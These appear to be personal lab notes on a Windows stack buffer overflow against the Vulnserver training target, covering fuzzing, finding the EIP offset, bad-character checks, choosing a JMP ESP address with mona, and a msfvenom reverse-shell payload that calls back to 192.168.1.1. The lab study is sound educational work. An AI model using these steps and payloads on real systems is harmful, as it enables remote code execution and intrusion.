vulnerability development
- spiking
exploit development part
-
victim machine has to be a windows machine
- get a valid windows 10 license from TU (and setup this then)
- immunity debugger (try the same with ghidra)
- vulnserver
- disable windows defender realtime protection
- vulnserver, immunity run as admin
-
steps
- spiking
- fuzzing
- find the offset (eip)
- overwrite the eip
- finding bad characters
- finding the right module
- generate shellcode
- root!
-
spiking
- generic_send_tcp HOST PORT spike-script 0 0
- spike script
s_readline()( s_string("STATS "); s_string_variable("0");
-
fuzzing to get the exact size that is used to crash everything
- to get the EIP offset
-
find the offset
- /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
- copy code into script
- run script again, check value in EIP
- pattern_offset.rb -l 3000 -q 38GF4337
- gives offset 2003
-
overwrite the EIP
- shellcode = ‘A’*2003 + ‘B’*4
-
finding bad characters
- https://github.com/cytopia/badchars
- add badchars badchars = ”…” (remove \x00) shellcode = ‘A’*2003 + ‘B’*4 + badchars
- go to hexdump
- esp → right click → follow in dump
- check if there’s anything out of place (01 02 03 04 05 …)
- search for anything missing
-
finding the right module
- dll without protections (aslr, etc.)
- “mona modules” → mona.py file, put it into immunity debugger, pycommands
- bar down there: !mona modules
- search for modules without protection (False, False, False, False), e.g. essfunc.dll
- opcode for jump: locate nasm_shell
- JMP ESP → FFE4
- !monat find -s “\xff\xe4” -m essfunc.dll
- get return addresses, e.g. 625011af
- edit python script
- shellcode = ‘A’*2003 + “\xaf\x11\x50\x62”
-
generate shell code
- msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4444 EXITFUNC=thread -f c -a x86 -b “\x00”
- shellcode = ‘A’*2003 + “\xaf\x11\x50\x62” + ‘\x90’*32 + overflow
python3 and mona
- add payload.encode() before sending
- !mona config -set workingfolder c:\mona
- !mona bytearray -cpb “\x00”
- copy bytearray from mona folder, copy that into python script
- !mona compare -f c:\mona\bytearray.bin -a
- !mona jmp -r ESP -m “essfunc.dll” (in log data)
- manually byte encode each string? b”…”, don’t need the encoding